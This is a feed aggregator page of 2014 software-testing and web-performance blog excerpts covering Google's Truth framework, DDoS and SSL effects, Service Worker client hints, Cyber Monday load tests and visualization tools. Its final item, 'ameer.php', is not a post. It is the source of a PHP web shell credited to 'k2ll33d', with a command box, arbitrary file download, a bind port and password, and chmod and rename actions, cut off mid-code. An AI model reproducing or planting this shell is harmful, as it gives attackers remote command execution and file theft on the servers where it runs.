Feed aggregator

Static code analysis for LoadRunner scripts

Performance Testing with LoadRunner Focus - Fri, 12/19/2014 - 15:41
The idea of static code analysis has been around since at least the 1970s. These days, some kind of static analysis is usually built into most good quality IDEs (or it is available as a plug-in). Static analysis tools find bugs in software by looking at the program’s source code rather than executing the program. […]
Categories: Load & Perf Testing

Testing on the Toilet: Truth: a fluent assertion framework

Google Testing Blog - Fri, 12/19/2014 - 11:28
by Dori Reuveni and Kurt Alfred Kluever

This article was adapted from a Google Testing on the Toilet (TotT) episode. You can download a printer-friendly version of this TotT episode and post it in your office.


As engineers, we spend most of our time reading existing code, rather than writing new code. Therefore, we must make sure we always write clean, readable code. The same goes for our tests; we need a way to clearly express our test assertions.

Truth is an open source, fluent testing framework for Java designed to make your test assertions and failure messages more readable. The fluent API makes reading (and writing) test assertions much more natural, prose-like, and discoverable in your IDE via autocomplete. For example, compare how the following assertion reads with JUnit vs. Truth:
assertEquals("March", monthMap.get(3)); // JUnit
assertThat(monthMap).containsEntry(3, "March"); // TruthBoth statements are asserting the same thing, but the assertion written with Truth can be easily read from left to right, while the JUnit example requires "mental backtracking".

Another benefit of Truth over JUnit is the addition of useful default failure messages. For example:
ImmutableSet<String> colors = ImmutableSet.of("red", "green", "blue", "yellow");
assertTrue(colors.contains("orange")); // JUnit
assertThat(colors).contains("orange"); // TruthIn this example, both assertions will fail, but JUnit will not provide a useful failure message. However, Truth will provide a clear and concise failure message:

AssertionError: <[red, green, blue, yellow]> should have contained <orange>

Truth already supports specialized assertions for most of the common JDK types (Objects, primitives, arrays, Strings, Classes, Comparables, Iterables, Collections, Lists, Sets, Maps, etc.), as well as some Guava types (Optionals). Additional support for other popular types is planned as well (Throwables, Iterators, Multimaps, UnsignedIntegers, UnsignedLongs, etc.).

Truth is also user-extensible: you can easily write a Truth subject to make fluent assertions about your own custom types. By creating your own custom subject, both your assertion API and your failure messages can be domain-specific.

Truth's goal is not to replace JUnit assertions, but to improve the readability of complex assertions and their failure messages. JUnit assertions and Truth assertions can (and often do) live side by side in tests.

To get started with Truth, check out http://google.github.io/truth/

Categories: Software Testing

A Little Q & A

Alan Page - Thu, 12/18/2014 - 12:57

I took some time recently to answer some questions about Combined Engineering, Data-Driven Quality, and the Future of Testing for the folks at the A1QA blog.

Check it out here.

(potentially) related posts:
  1. HWTSAM – Six Years Later
  2. Testing Trends…or not?
  3. Finding Quality
Categories: Software Testing

5 things you should know about DDoS attacks, outages, SSL, and web performance

Web Performance Today - Wed, 12/17/2014 - 16:49

It’s no surprise that online security is a burgeoning issue. 2014 has been a watershed year for the security industry, as cyberattacks reached a tipping point in terms of quantity, length, complexity, and targets.

Last week at Radware, we released our annual Global and Network Security Report. This report is based on data gathered from a survey of 330 organizations worldwide. The survey was designed to collect objective, vendor-neutral information about the issues organizations face when preparing for and fighting against cyberattacks.

The report gives a comprehensive and objective review of the past year’s cyberattacks from both a business and a technical perspective. It also offers best practice advice for organizations when planning for cyberattacks in 2015. But my favourite aspect of this report is the fascinating play-by-play insight into how today’s sophisticated attacks take place.

Key findings
  • The internet pipe is the number one failure point in 2014.
  • 19% of major reported attacks were considered “constant” by the targeted organization.
  • The most commonly reported (15%) attack duration was one month. Yet 52% of respondents said they could only fight a campaign for a day or less.
  • Education, gaming, healthcare, and hosting/ISPs are the most highly targeted verticals.
  • The Internet of Things brings an end to controlled endpoints and introduces new security threats.
  • Software-defined network (SDN) DDoS capabilities are insufficient today and don’t allow customers to efficiently mitigate complex attacks.

Security and performance are incredibly closely entwined, and in some circles it’s a little-known fact that a cyberattack can have as much — if not more — impact on web performance as it has on downtime. Here are a few security/performance insights…

1. DoS/DDoS attacks are incorrectly associated only with service outage.

Many people believe that a successful DoS/DDoS attack results in a service outage. However, in our 2013 report, we revealed that the biggest impact of DoS/DDoS attacks was service level degradation, which in most cases is felt as service slowness. This finding has remained consistent throughout 2014.

2. Service degradation is felt more than twice as much as outages.

87% of respondents to past surveys have stated that they experience service level issues during security attacks – 60% encountered service degradation, while 27% experienced outages.

3. Slowdowns can hurt much more than outages.

As I’ve shared elsewhere, website slowdowns can have double the negative impact on an organization’s revenues as outages.

4. Gaming sites are extremely sensitive to speed degradation and outage.

A longstanding target of cyberattacks, gaming sites have historically been vulnerable when unsuccessful players sought revenge for their losses by pounding the site with whatever is at their disposal—which, in many cases, was a DDoS attack. In 2014, the experience of Radware’s ERT shows that attacks on gaming sites were longer and meaner. In all likelihood, these incidents didn’t result from lone angry users. The more likely sources of these sustained attacks are competitive saboteurs, extortion-driven attackers or other entities with large capacities.

5. SSL incurs potential performance risks.

A growing number of attacks target resources accessible over the Secure Sockets Layer (SSL). As a result, traffic is encrypted and defense mechanisms are often unable to inspect it. In these cases, defense mechanisms proxy the Transmission Control Protocol (TCP) payload without performing a real inspection. When defense mechanisms actually perform SSL decryption, they incur risk associated with heavy processing of the decryption and encryption. That processing places a significant burden on the SSL server-side computational and memory resources. Thus, many attackers add encryption to increase the strain rather than to actually evade detection.

So the question is: does this affect web performance? I asked Carl Herberger, Radware’s VP Security Solutions. His answer: “It depends.”

The SSL problem associated with cyberattacks stems from the issue in which security tools are generally opaque to the encrypted traffic and then can’t do inspection of the traffic for analysis. If they decrypt it and inspect it, then it causes (potentially) a performance issue. If they don’t decrypt it, they may have an even worse security issue on their hands.

Ultimately, “It’s a ‘damned if I do, damned if I don’t’ situation for performance and management.”

Conclusion

Organizations must be alert to the fact that security threats are at least as much a financial threat on the performance degradation front as they are on the outage front. And with more attacks targeting assets over SSL, there is an increased performance penalty incurred by heavy processing of decryption and encryption by defense solutions. As cyberattacks increase in length, complexity, and intensity, this will ultimately have a growing negative impact on end-user performance.

Get the report: Global Application and Network Security Report [2014-2015]

The post 5 things you should know about DDoS attacks, outages, SSL, and web performance appeared first on Web Performance Today.

Google improves CAPTCHA

LoadStorm - Wed, 12/17/2014 - 09:41

Google recently announced their “no CAPTCHA reCAPTCHA” method that simplifies the end-user experience while offering an intelligent threat assessment behind the scenes to detect potential robots. All you will typically need to do is click a checkbox that tells their CAPTCHA that you’re not a robot. Then a brief loading animation occurs while it runs the assessment algorithm. If the system is not sure you’re human, it will then prompt you with an additional CAPTCHA check that uses the traditional distorted image for an extra security check. However, if you’re on a mobile browser, you may encounter a different method for the secondary check. This new method that Google is experimenting with will display an image, such as a cat, and will ask you to select all other images that match the subject.

So I definitely see the positive side here since humans should be able to proceed more quickly through a signup form or other checkpoint that requires CAPTCHA. People are impatient when using the internet, so every effort to speed things up is helpful in improving their experience. However, the other point Google makes is that robots are being programmed with enough intelligence to decipher these distorted text images with a 99.8% accuracy. So given that they’ve added an extra step with the click a checkbox, the next step isn’t any different than regular CAPTCHA unless you get the occasional experimental CAPTCHA that uses an image matching test. I’m not aware of the programming that goes into these robots, but it seems like it would be easy enough to tackle a checkbox and then interpret the distorted text image as usual.

What do you think?

The post Google improves CAPTCHA appeared first on LoadStorm.

Application Performance Clinics – Top Problems Solved in November

Over the past few months I have been giving online and offline talks called Performance Clinics. During these clinics, I show you how to analyze performance and give you feedback on the data you’ve collected on your own application. For Dynatrace users, I run a special offer called “Share Your PurePath” where I provide feedback […]

The post Application Performance Clinics – Top Problems Solved in November appeared first on Dynatrace APM Blog.

Categories: Load & Perf Testing

Capability Reporting with Service Worker

Ilya Grigorik - Mon, 12/15/2014 - 01:00

Some people, when confronted with a problem, think: “I'll use UA/device detection!” Now they have two problems...

But, despite all of its pitfalls, UA/device detection is a fact of life, a growing business, and an enabling business requirement for many. The problem is that UA/device detection often frequently misclassifies capable clients (e.g. IE11 was forced to change their UA); leads to compatibility nightmares; can't account for continually changing user and runtime preferences. That said, when used correctly it can also be used for good.

Browser vendors would love to drop the User-Agent string entirely, but that would break too many things. However, while it is fashionable to demonize UA/device detection, the root problem is not in the intent behind it, but in how it is currently deployed. Instead of "detecting" (i.e. guessing) the client capabilities through an opaque version string, we need to change the model to allow the user agent to "report" the necessary capabilities.

Granted, this is not a new idea, but previous attempts seem to introduce as many issues as they solve: they seek to standardize the list of capabilities; they require agreement between multiple slow-moving parties (UA vendors, device manufacturers, etc); they are over-engineered - RDF, seriously? Instead, what we need is a platform primitive that is:

  • Flexible: browser vendors cannot anticipate all the use cases, nor do they want or need to be in this business beyond providing implementation guidance and documenting the best-practices.
  • Easy to deploy: developers must be in control over which capabilities are reported. No blocking on UA consensus or other third parties.
  • Cheap to operate: compatible and deployable with existing infrastructure. No need for third-party databases, service contracts, or other dependencies in the serving path.

Here is the good news: this mechanism exists, it's Service Worker. Let's take a closer look...

Service worker is an event-driven Web Worker, which responds to events dispatched from documents and other sources… The service worker is a generic entry point for event-driven background processing in the Web Platform that is extensible by other specifications - see explainer, starter, and cookbook docs.

A simple way to understand Service Worker is to think of it as a scriptable proxy that runs in your browser and is able to see, modify, and respond to, all requests initiated by the page it is installed on. As a result, the developer can use it to annotate outbound requests (via HTTP request headers, URL rewriting) with relevant capability advertisements:

  1. Developer defines what capabilities are reported and on which requests.
  2. Capability checks are executed on the client - no guessing on the server.
  3. Reported values are dynamic and able to reflect changes in user preference and runtime environment.

This is not a proposal or a wishlist, this is possible today, and is a direct result of enabling powerful low-level primitives in the browser - hooray. As such, now it's only a question of establishing the best practices: what do we report, in what format, and how to we optimize interoperability? Let's consider a real-world example...

E.g. optimizing video startup experience

Our goal is to deliver the optimal — fast and visually pleasing — video startup experience to our users. Simply starting with the lowest bitrate is suboptimal: fast, but consistently poor visual quality for all users, even for those with a fast connection. Instead, we want to pick a starting bitrate that can deliver the best visual experience from the start, while minimizing playback delays and rebuffers. We don't need to be perfect, but we should account for the current network weather on the client. Once the video starts playing, the adaptive bitrate streaming will take over and adjust the stream quality up or down as necessary.

The combination of Service Worker and Network Information API make this trivial to implement:

// register the service worker navigator.serviceWorker.register('/worker.js').then( function(reg) { console.log('Installed successfully', reg) }, function(err) { console.log('Worker installation failed', err) } ); // ... worker.js self.addEventListener('fetch', function(event) { var requestURL = new URL(event.request); // Intercept same origin /video/* requests if (requestURL.origin == location.origin) { if (/^\/video\//.test(requestURL.pathname)) { // append the MD header, set value to NetInfo's downlinkMax: // http://w3c.github.io/netinfo/#downlinkmax-attribute event.respondWith( fetch(event.request.url, { headers: { 'MD': navigator.connection.downlinkMax } }) ); return; } } });
  1. Site installs a Service Worker script that is scoped to capture /video/* requests.
  2. When a video request is intercepted, the worker appends the MD header and sets its value to the current maximum downlink speed. Note: current plan is to enable downlinkMax in Chrome 41.
  3. Server receives the video request, consults the advertised MD value to determine the starting bitrate, and responds with the appropriate video chunk.

We have full control over the request flow and are able to add additional data to the request prior to dispatching it to the server. Best of all, this logic is transparent to the application, and you are free to customize it further. For example, want to add an explicit user override to set a starting bitrate? Prompt the user, send the value to the worker, and have it annotate requests with whatever value you feel is optimal.

Tired of writing out srcset rules for every image? Service Worker can help deliver DPR-aware <img>'s: use content negotiation, or rewrite the image URL's. Note that device DPR is a dynamic value: zooming on desktop browsers affects the DPR value! Existing device detection methods cannot account for that. Implementation best practices

Service Worker enables us (web developers) to define, customize, and deploy new capability reports at will: we can rewrite requests, implement content-type or origin specific rules, account for user preferences, and more. The new open questions are: what capabilities do our servers need to know about, and what's the best way to deliver them?

It will be tempting to report every plausibly useful property about a client. Please think twice before doing this, as it can add significant overhead to each request - be judicious. Similarly, it makes sense to optimize for interoperability: use parameter names and format that works well with existing infrastructure and services - caches and CDN's, optimization services, and so on. For example, the MD and DPR request headers used in above examples come from Client-Hints, the goals for which are:

  • To document the best practices for communicating client capabilities via HTTP request header fields.
  • Acts as a registry for common header fields to help interoperability between different services.
    • e.g. you can already use DPR and RW hints to optimize images with resrc.it service.

Now is the time to experiment. There will be missteps and poor initial implementations, but good patterns and best practices will emerge. Most importantly, the learning cycle for testing and improving this infrastructure is now firmly in the hands of web developers: deploy Service Worker, experiment, learn, and iterate.

Cyber Monday Performance Evaluations

LoadStorm - Fri, 12/12/2014 - 14:22

From Amazon to Argos, online retailers are experiencing more traffic than ever this holiday season. This Cyber Monday reached a record high of $2.68 billion! Competition is fierce, and in this game, seconds = $$$.

This year, we selected 29 major e-commerce sites and used LoadStorm to run several tests to compare their performance on the Wednesday before Thanksgiving with Cyber Monday. We created scripts for each site to model typical e-commerce user activity. Each script would hit the homepage, search for a product, add a product to the cart, and then visit the cart. Then we ran our performance tests for 10 minutes at a time, scaling from one to ten virtual users (vusers).

Here’s what we found:

Average Page Completion Time remained relatively reasonable.

Out of the 29 companies, 7 slowed down:

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/b19a7e0e607c4e6f871425d9e65450bf?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Walmart’s average page completion time increased from 2.9 seconds to 7.8 seconds. That’s huge! Amazon, on the other hand, remained consistent, with an average page completion time of just 1.6 seconds on both days. Average Page Completion Time remained nearly the same for the majority of the sites.

Six companies sped up:

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/194c7614fc474339822c76ea35d9b2b2?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Performance Error Rates increased.

Our preliminary load tests revealed zero performance errors across the board, with one exception. Monday, however, was a different story, as we saw five different companies experience performance errors. This included request read timeouts, request connection timeouts, and even some 503 (service unavailable) errors.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/cd90449da4a34cd586241f49db236220?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

The exception to the increase in performance error rates was Best Buy. Interestingly, we saw Best Buy experience seven request read timeout errors on Wednesday (on product pages and search results), but none on Monday. This seems to corroborate the fact that they became overwhelmed with traffic over the weekend, but they appeared to have recovered gracefully by Cyber Monday.

Peak Page Completion Times increased.

Every site we tested experienced high peak completion times. Some of the best performers with the lowest peak page completion time on both Wednesday and Cyber Monday included Toys “R” Us, Brookstone (one of our customer’s – yay!), Ikea, and Amazon, with peak page completion time only deviating 7% from their mean.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/0ed451f83e094382885704f17ecb83da?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Web Page Test Results

Web page tests were on each company’s home page were performed during testing on Wednesday and Monday as well. Surprisingly, the overall trend was a decrease in page load times. The average page load time from our web page tests decreased from 9.3 seconds to 5.6 seconds. We’re impressed!

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/f38d4bebb28d402ebd112aff763d6878?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Overall Performance

Nobody crashed while we were running our performance tests. Most sites appeared to perform reasonably well, but knowing that just one second delay could cost Amazon over $1.6 billion in sales over the course of a year those few errors matter immensely. Just 250 milliseconds, either slower or faster, is the magic number for competitive advantage on the web. So while none of the sites crashed entirely, whether or not they beat out their competition is another story.

Curious about how your site is performing? Try a free quickstorm instantly by entering your site’s URL here!

Please note that none of the companies involved were contacted nor paid for participation in our experiments. These were just for fun. Here’s the complete list of the companies we tested:

  • Walmart
  • Macy’s
  • JCPenny
  • Amazon
  • Target
  • Victoria’s Secret
  • Finish Line
  • Best Buy
  • Toys “R” Us
  • Urban Outfitters
  • Crate and Barrel
  • Barnes and Noble
  • Nordstrom
  • Newegg
  • PC Mall
  • Ann Taylor
  • Motorola
  • Avon
  • Footlocker
  • Brookstone
  • Kohls
  • Radioshack
  • Ebay
  • Argos
  • Ikea
  • Home Depot
  • Office Depot
  • Staples
  • Sam’s Club

The post Cyber Monday Performance Evaluations appeared first on LoadStorm.

WordPress Performance Comparison: Shared Hosting -vs- Digital Ocean

LoadImpact - Thu, 12/11/2014 - 08:56

This post was originally posted by Brian Christner on his blog. Brian is an American living in beautiful Switzerland. He is the Swiss Army knife of cloud computing specializing in Linux, Docker, IaaS, PaaS, or anything with a .io domain name. He enjoys riding his motorcycle, the outdoors, and open source projects. Follow Brian on his blog or connect ... Read more

The post WordPress Performance Comparison: Shared Hosting -vs- Digital Ocean appeared first on Load Impact Blog.

Categories: Load & Perf Testing

Dynatrace AJAX Edition 4.5 is here! Closing the Last Chapter, but the Story Continues

Over the last couple of years the Dynatrace engineering team out of Linz, Austria continually updated one of the best browser diagnostics tools for Internet Explorer and Firefox on Windows. Back in 2009 it received strong endorsements from Steve Souders and John Resig and Dynatrace AJAX Edition became very popular. Today we are announcing the […]

The post Dynatrace AJAX Edition 4.5 is here! Closing the Last Chapter, but the Story Continues appeared first on Dynatrace APM Blog.

Categories: Load & Perf Testing

Beyond spreadsheets and waterfalls: 4 tools to make your performance data exciting (to people other than you)

Web Performance Today - Wed, 12/10/2014 - 09:52

One of my first experiences in witnessing the power of visualizing performance data was several years ago, when I started work at Strangeloop (which has since been acquired by Radware). We had been doing a proof of concept of our front-end optimization solution (then known as Site Optimizer, now called FastView) with a prospective customer. We had great results. Among other things, we cut start render and page load times by more than half on all the landing pages we tested on.

All the results — and bear in mind, these were fantastic numbers — were neatly presented in a set of waterfall charts with an accompanying Excel doc. But the customer was only somewhat impressed and still on the fence. Then someone on our team had the idea to generate timed side-by-side videos showing the “before and after” renders for each page. The videos were a hit. The customer immediately shared them with everyone on his management team. Much excitement ensued. We closed the sale. After that, videos became a cornerstone of our POC process.

In hindsight, this “aha” moment sounds like a no-brainer. We humans are visual creatures. Most of us respond better to data visualizations than we do to raw data. Yet it’s amazing how often we find ourselves defaulting to spreadsheets and waterfall charts.

While we can’t always replace our spreadsheets and waterfalls with awesome graphics, it’s exciting to see that more and more tool vendors are experimenting with ways to help us visualize our performance data and make it infinitely more persuasive. In this post, I’m going to highlight four tools I use all the time to demonstrate performance issues. (Not only are these great tools, they’re also my favourite price: free!)

WebPagetest

What it does: Developed by Patrick Meenan, WebPagetest is a synthetic performance test that has become a staple for many folks in the performance community. It allows you to test any page on the web to measure a tonne of performance metrics, from first response to load time, all of which will be generated in a handy-dandy waterfall chart. But that’s just the beginning. You can customize your test for connection type, browser, location, latency, bandwidth, packet loss, and bunch of other variables.

But for me, the most exciting WebPagetest feature is the ‘Capture Video’ option, which generates excellent visualizations, chiefly videos and filmstrip views. WebPagetest lets you generate a timed video of your page render. Even more exciting, you can run tests of your pages alongside competitors’ pages (click on the ‘Visual Comparison’ tab), and generate side-by-side videos comparing your load times to your competitors’, like this:

You can also generate a frame-by-frame filmstrip view of the page render. This is super handy for getting quick insight into performance bottlenecks, as well as the user experience for people on slower connections. (e.g. Are people waiting ages for your feature content, which loads last?) Graphics like this are handy for embedding into reports when videos aren’t an option:

You can also run WebPagetest private instances to do all kinds of other cool stuff, such as test the impact of new tools and optimizations. We use WebPagetest heavily at Radware. If you’re not already using it, I strongly recommend that you check it out, play around with it, explore its many features (not all of which I’ve covered here), and make it part of your everyday toolkit.

When it’s useful: When you need to generate awareness (or outright fear) around the fact that your competitors are outperforming you. When you want a bird’s eye view of a page’s performance so you can figure out where the performance bottlenecks are. When you want to do A/B or multivariate testing of the impact of tools/content/other variables on load times.

Link: WebPagetest Perfmap

What it does: Perfmap is one of those tools that seems so simple, so obvious, and so useful, you wonder why it never existed up till recently. Developed by Mark Zeman, it’s a free Chrome extension that generates a heatmap of page resources, along with the timing for when the image finished loading and the time (in parentheses) it took for the image to load. The legend attached to the bottom of the page shows timings for the full page load. (Side note: This entire post was inspired by Mark’s excellent Velocity talk, A Better Waterfall Chart.)

To demonstrate, here’s how Perfmap generates a heatmap for a page on this site:

Let’s take a closer look at the heatmap. Below you can see that the main image on the page took 640ms to load, and finished rendered at the 1183ms point. The coloured bar at the bottom of the page is a timeline indicator that also shows that the page’s total load time was 2189ms. On the live page, hovering over a coloured area on the heatmap moves the timeline indicator to show you when that image was fully loaded. Cool, right?

When it’s useful: When you need a quick, easy way to demonstrate to designers and content creators and other spreadsheet-averse individuals the impact that large, unoptimized images have on load times.

Install: Perfmap SPOF-O-Matic

What it does: Born out of one of the many capabilities of WebPagetest, SPOF-O-Matic is another handy Chrome extension. It detects likely single points of failure (SPOFs) on any page on the web. It also allows you to simulate how a page would perform if specific third-party scripts were unavailable.

I’ll illustrate how it works, using TechCrunch as a guinea pig. First, clicking on the SPOF-O-Matic icon generates a list of potential front-end SPOFs:

Then clicking on the “Generate SPOF Comparison Video” link takes you to WebPagetest, which generates a side-by-side video showing what this page would look like if these third parties were non-responsive:

And you can also generate a filmstrip version of the video for embedding in documents:

When it’s useful: Third-party scripts are a huge potential performance pain. This doesn’t get talked about nearly as much as it should. SPOF-O-Matic is a useful tool for creating awareness about the threat that non-performant scripts present to your site.

Install: SPOF-O-Matic Ghostery

What it does: Ghostery is an extension that’s available for pretty much every desktop and mobile browser. Interestingly, this tool was originally developed to give regular web users real-time visibility into the third-party pixels, beacons, etc. that track and gather their user data, and then allow users to block individual scripts. (It also makes it easy to re-enable them, if you change your mind later.)

I started using Ghostery as a companion to SPOF-O-Matic, to quickly identify all the third-party scripts on a given page. Here’s how it looks when I visit the same TechCrunch page I visited above:

But the folks behind Ghostery quickly realized that their app offers a lot of value to site owners as well, and they’ve created an enterprise version that does a lot of nifty, powerful stuff behind the scenes. With the largest tracker database on the web (1900+ trackers and 2300+ tracking patterns), the enterprise version gives site owners a real-time bird’s eye view, via cloud graphics — of all the externally scripts on any given page. At a glance, you can learn things like which external scripts are slowing down your pages, which are stale and linking to dead pages, and which are creating security holes.

For example, below is a graph that shows the entire third-party marketing cloud for Sears.com. You can clearly see the relationships between all the scripts, including which third-parties are making calls to other scripts, i.e. fourth-party and even fifth-party calls.

And below is the same marketing cloud, but this time depicting the real-time latency for each provider. At the time of this screen grab, you can see that MediaMath, Rubicon, and Integral Ad Science are all running slow. Clicking on the MediaMath bubble reveals that latency is 2060ms.

You can also click the ‘Timeline’ and ‘Tree’ tabs to get more conventional waterfall-style charts as well, but I love these cloud graphs for making a fast, dramatic impact.

When it’s useful: When you realize your site is overrun with third-party scripts and you’ve lost control (or are on the verge of losing control). When you’re serious about tackling third-party performance and security and need a tool that lets you track your entire third-party ecosystem. When you want/need insight into the potentially unauthorized fourth- and fifth-party calls your authorized third-party scripts are triggering.

Install: Ghostery Takeaway

As I said at the top of this post, data is much more persuasive when it’s presented visually. Wouldn’t it be great if more of our RUM tools could generate some or all of these kinds of visualizations? (Hint!) If you know any other tools that do a compelling job of visualizing performance issues, let me know.

The post Beyond spreadsheets and waterfalls: 4 tools to make your performance data exciting (to people other than you) appeared first on Web Performance Today.

Performance Testing -vs- Performance Monitoring

LoadImpact - Wed, 12/10/2014 - 09:04

In recent years IT teams have been deluged with an ever increasing number of tools to monitor and test web and mobile applications.  In fact, IT teams have been faced with a tool sprawl across the entire organization, which can be completely overwhelming. Vendor marketing literature and positioning can make it difficult to determine what ... Read more

The post Performance Testing -vs- Performance Monitoring appeared first on Load Impact Blog.

Categories: Load & Perf Testing

ameer.php

Testing Reflections - Wed, 12/10/2014 - 06:51
<?php // fb/k2ll33d $k2ll33d='// by k2ll33d / fb/k2ll33d
set_time_limit(0);error_reporting(0);
if(isset($_GET["dl"]) && ($_GET["dl"] != "")){$file = $_GET["dl"];$filez = @file_get_contents($file);header("Content-type: application/octet-stream");header("Content-length: ".strlen($filez));header("Content-disposition: attachment;filename='".basename($file)."';");echo $filez;exit;} 
elseif(isset($_GET["dlgzip"]) && ($_GET["dlgzip"] != "")){$file = $_GET['dlgzip'];$filez = gzencode(@file_get_contents($file));header("Content-Type:application/x-gzip\n");header("Content-length: ".strlen($filez));header("Content-disposition: attachment;filename='".basename($file).".gz';");echo $filez;exit;} 
if(isset($_GET["img"])){@ob_clean();$d = magicboom($_GET["y"]);$f = $_GET["img"];$inf = @getimagesize($d.$f);$ext = explode($f,".");$ext = $ext[count($ext)-1];@header("Content-type: ".$inf["mime"]);@header("Cache-control: public");@header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));@header("Cache-control: max-age=".(60*60*24*7));@readfile($d.$f);exit;} $software = getenv("SERVER_SOFTWARE");
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE;else $safemode = FALSE;$system = @php_uname();if(strtolower(substr($system,0,3)) == "win")
$win = TRUE;else $win = FALSE;if(isset($_GET['y'])){if(@is_dir($_GET['view'])){$pwd = $_GET['view'];@chdir($pwd);} else{$pwd = $_GET['y'];@chdir($pwd);} } 
if(!$win){if(!$user = rapih(exe("whoami")))$user = "";if(!$id = rapih(exe("id"))) $id = "";$prompt = $user." \$ ";$pwd = @getcwd().DIRECTORY_SEPARATOR;} 
else {$user = @get_current_user();$id = $user;$prompt = $user." &gt;";$pwd = realpath(".")."\\";$v = explode("\\",$d);$v = $v[0];foreach (range("A","Z") as $letter) {$bool = @is_dir($letter.":\\");if ($bool){$letters .= "<a href='?y=".$letter.":\\'>[ ";if ($letter.":" != $v){$letters .= $letter;} else {$letters .= "<span class='gaya'>".$letter."</span>";} $letters .= " ]</a> ";}}} 
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);$my_ip = $_SERVER['REMOTE_ADDR'];$bindport = "13123";$bindport_pass = "k2ll33d";$pwds = explode(DIRECTORY_SEPARATOR,$pwd);$pwdurl = "";for($i = 0 ;$i < sizeof($pwds)-1 ;$i++){$pathz = "";for($j = 0 ;$j <= $i ;$j++){$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;} $pwdurl .= "<a href='?y=".$pathz."'>".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";} 
if(isset($_POST['rename'])){$old = $_POST['oldname'];$new = $_POST['newname'];@rename($pwd.$old,$pwd.$new);$file = $pwd.$new;}	if(isset($_POST['chmod'])){ 
$name = $_POST['name'];$value = $_POST['newvalue'];if (strlen($value)==3){$value = 0 . "" . $value;}@chmod($pwd.$name,octdec($value));$file = $pwd.$name;}
if(isset($_POST['chmod_folder'])){$name = $_POST['name'];$value = $_POST['newvalue'];if (strlen($value)==3){$value = 0 . "" . $value;}@chmod($pwd.$name,octdec($value));$file = $pwd.$name;} $buff = "&nbsp;".$software."<br>";$buff .= "&nbsp;".$system."<br>";if($id != "") $buff .= "&nbsp;".$id."<br>";if($safemode) $buff .= "&nbsp;safemode :&nbsp;<b><font style='color:#DD4736'>ON</font></b><br>";else $buff .= "&nbsp;safemode :&nbsp;<b><font style='color:#00FF00'>OFF</font></b><br>";
function showstat($stat) {if ($stat=="on") {return "<b><font style='color:#00FF00'>ON</font></b>";}else {return "<b><font style='color:#DD4736'>OFF</font></b>";}}
function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
$buff .= "&nbsp;MySQL: ".testmysql()."&nbsp;|&nbsp;Perl: ".testperl()."&nbsp;|&nbsp;cURL: ".testcurl()."&nbsp;|&nbsp;WGet: ".testwget()."<br>";
$buff .= "&nbsp;".$letters."&nbsp;&gt;&nbsp;".$pwdurl;
function rapih($text){return trim(str_replace("<br>","",$text));} 
function magicboom($text){if (!get_magic_quotes_gpc()){return $text;} return stripslashes($text);} 
function showdir($pwd,$prompt){$fname = array();$dname = array();
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) 
$posix = TRUE;else $posix = FALSE;$user = "????:????";
if($dh = opendir($pwd)){while($file = readdir($dh)){
if(is_dir($file)){$dname[] = $file;} 
elseif(is_file($file)){$fname[] = $file;}}closedir($dh);} sort($fname);sort($dname);$path = @explode(DIRECTORY_SEPARATOR,$pwd);$tree = @sizeof($path);$parent = "";
$buff = " <form action='?y=".$pwd."&amp;x=shell' method='post' style='margin:8px 0 0 0;'><table class='cmdbox' style='width:50%;'><tr><td>$prompt</td><td><input onMouseOver='this.focus();' id='cmd' class='inputz' type='text' name='cmd' style='width:400px;' value='' /><input class='inputzbut' type='submit' value='Do !' name='submitcmd' style='width:80px;' /></td></tr></form><form action='?' method='get' style='margin:8px 0 0 0;'><input type='hidden' name='y' value='".$pwd."' /><tr><td>view file/folder</td><center><td><input onMouseOver='this.focus();' id='goto' class='inputz' type='text' name='view' style='width:400px;' value='".$pwd."' /><input class='inputzbut' type='submit' value='view !' name='submitcmd' style='width:80px;' /></td></center></tr></form></table><table class='explore'> <tr><th>name</th><th style='width:80px;'>size</th><th style='width:210px;'>owner:group</th><th style='width:80px;'>perms</th><th style='width:110px;'>modified</th><th style='width:190px;'>actions</th></tr> ";
if($tree > 2) 
for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
else $parent = $pwd;
foreach($dname as $folder){
if($folder == ".") {
if(!$win && $posix){$name=@posix_getpwuid(@fileowner($folder));$group=@posix_getgrgid(@filegroup($folder));$owner = $name['name']."<span class='gaya'> : </span>".$group['name'];} 
else {$owner = $user;}
$buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>-</td>
<td style=\"text-align:center;\">".$owner."</td>
<td><center>".get_perms($pwd)."</center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
<a href=\"?y=$pwd&amp;edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a>
</span><form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> 
